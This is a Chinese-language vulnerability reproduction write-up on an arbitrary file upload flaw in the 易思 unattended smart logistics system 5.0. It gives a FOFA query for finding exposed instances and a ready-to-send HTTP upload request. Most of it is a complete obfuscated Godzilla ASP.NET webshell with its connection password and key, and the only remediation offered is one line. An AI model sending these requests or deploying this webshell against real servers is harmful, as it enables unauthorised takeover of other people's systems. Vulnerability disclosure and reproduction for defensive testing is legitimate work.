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一、 产品简介
易思无人值守智能物流系统是一款集成了人工智能、机器人技术和物联网技术的创新产品。它能够自主完成货物存储、检索、分拣、装载以及配送等物流作业，帮助企业实现无人值守的智能物流运营，提高效率、降低成本，为现代物流行业带来新的发展机遇。
二、 漏洞概述
易思无人值守智能物流系统/Sys_ReportFile/ImportReport接口处存在任意文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。
三、 影响范围
易思智能物流无人值守系统5.0
四、 复现环境
FOFA语法：“智能物流无人值守系统”
五、 漏洞复现
burp PoC
POST /Sys_ReportFile/ImportReport?encode=a HTTP/1.1
Host: your-ip
X-File-Name: test.grf
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3Alk
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"
Content-Type: application/octet-stream
test666
------WebKitFormBoundaryxzUhGld6cusN3Alk--
burp截图验证
PS：如果出现GRF说明成功
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小龙poc检测
上传哥斯拉
POST /Sys_ReportFile/ImportReport?encode=b HTTP/1.1
Host: your-ip
X-File-Name: test.grf
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryxzUhGld6cusN3Alk
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryxzUhGld6cusN3Alk
Content-Disposition: form-data; name="file"; .filename="test.grf;.aspx"
Content-Type: application/octet-stream
<%@ PAge LaNgUagE="C#"%>
<%try {
string eduXjX6W07tv6J4D7f = \u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067("VmtkR2VrOVhWbms9"))))));
string edu3uv = "02e74f10e0327ad8";
string eduK8XRe16ywUjQ = \u0053\u0079\u0073\u0074\u0065\u006D./*y2vGt*/\u0042\u0069\u0074\u0043\u006F\u006E\u0076\u0065\u0072\u0074\u0065\u0072/*aF00y5KT*/.ToString(new /*6guNGln94a*/\u0053\u0079\u0073\u0074\u0065\u006D.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079/*vu*/.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079.\U0000004D\U00000044\U00000035\U00000043\U00000072\U00000079\U00000070\U00000074\U0000006F\U00000053\U00000065\U00000072\U00000076\U00000069\U00000063\U00000065\U00000050\U00000072\U0000006F\U00000076\U00000069\U00000064\U00000065\U00000072()/*hF69yW*/.ComputeHash/*89OK*/(\u0053\u0079\u0073\u0074\u0065\u006D.Text./*IrF1KdQ7Yzova*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(eduXjX6W07tv6J4D7f + edu3uv)))./*D1xwo7WqfG1X*/Replace("-", "");
byte[] eduDQJuX6CdYXMYV5g = \u0053\u0079\u0073\u0074\u0065\u006D./*pCA*/\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074/*P*/./*4auK0Etcg3c1f1i*/\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067/*8ahchZR55VZJ*/(Context.Request[eduXjX6W07tv6J4D7f]);
eduDQJuX6CdYXMYV5g = new \u0053\u0079\u0073\u0074\u0065\u006D/*ekgagloGtB*/.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079/*4*/./*lIip*/\u0052\u0069\u006A\u006E\u0064\u0061\u0065\u006C\u004D\u0061\u006E\u0061\u0067\u0065\u0064()./*M0g41F9OuxK*/CreateDecryptor(\u0053\u0079\u0073\u0074\u0065\u006D./*sH2NYlsw2*/Text.\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default/*iFVgLdi*/.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(edu3uv), \u0053\u0079\u0073\u0074\u0065\u006D.Text./*DF*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(edu3uv))./*Yo35q*/\u0054\u0072\u0061\u006E\u0073\u0066\u006F\u0072\u006D\u0046\u0069\u006E\u0061\u006C\u0042\u006C\u006F\u0063\u006B(eduDQJuX6CdYXMYV5g, 0, eduDQJuX6CdYXMYV5g.Length);
if (Context./*dZK805tf6Rws*/\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E["payload"] == null)
{
Context/*VqemvJtRG33LxXo*/.\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E["payload"] = (/*IjABLbKnr*/\u0053\u0079\u0073\u0074\u0065\u006D.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E./*UUCGW*/\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079)typeof(\u0053\u0079\u0073\u0074\u0065\u006D/*eJtDQFFrPc5*/.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E.\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079).GetMethod("Load", new \u0053\u0079\u0073\u0074\u0065\u006D.Type[] {
typeof(byte[]) })./*G0mP7U1QnLgvUSy*/Invoke(null, new object[] {
eduDQJuX6CdYXMYV5g });;}
else {
\u0053\u0079\u0073\u0074\u0065\u006D.\u0049\u004F./*BqJHje5tbF7DjW*/MemoryStream edujsdPHl4oaxfQ = new \u0053\u0079\u0073\u0074\u0065\u006D.\u0049\u004F/*XteYkPs*/.MemoryStream();
object eduRgNJD47pRL5O5 = ((\u0053\u0079\u0073\u0074\u0065\u006D.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E.\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079/*jVhTiryF*/)Context.\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E/*1c4*/["payload"]).CreateInstance("LY");
eduRgNJD47pRL5O5.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073(Context);
eduRgNJD47pRL5O5.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073/*OAmJB*/(edujsdPHl4oaxfQ);
eduRgNJD47pRL5O5.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073(eduDQJuX6CdYXMYV5g);
eduRgNJD47pRL5O5.ToString()/*99eEbhJA*//*7gsEan*/;
byte[] eduhkC = edujsdPHl4oaxfQ.ToArray();
Context.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065/*AL*/.Write(eduK8XRe16ywUjQ.\u0053\u0075\u0062\u0073\u0074\u0072\u0069\u006E\u0067(0, 16));
Context.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065.Write(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074./*R1NSTBcJElHeW*/ToBase64String/*K*/(new \u0053\u0079\u0073\u0074\u0065\u006D./*2ro*/\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079./*SQps*/\u0052\u0069\u006A\u006E\u0064\u0061\u0065\u006C\u004D\u0061\u006E\u0061\u0067\u0065\u0064().CreateEncryptor/*UUm*/(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default/*xK*/.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(edu3uv), \u0053\u0079\u0073\u0074\u0065\u006D.Text./*u*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(edu3uv)).\u0054\u0072\u0061\u006E\u0073\u0066\u006F\u0072\u006D\u0046\u0069\u006E\u0061\u006C\u0042\u006C\u006F\u0063\u006B/*k6Y8HkuYQ7l0ox*/(eduhkC, 0, eduhkC.Length)));
Context/*I1MaKLV7vLay2*/.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065.Write(eduK8XRe16ywUjQ.\u0053\u0075\u0062\u0073\u0074\u0072\u0069\u006E\u0067(16));}}
catch (\u0053\u0079\u0073\u0074\u0065\u006D.Exception) {
};
%>
------WebKitFormBoundaryxzUhGld6cusN3Alk--
注意:密码:Tas9er 密钥:27 有效载荷:CShapDynamicPayload 加密器:CSHAP_AES_BASE64
哥斯拉测试连接
验证结果
六、修复建议
打补丁升级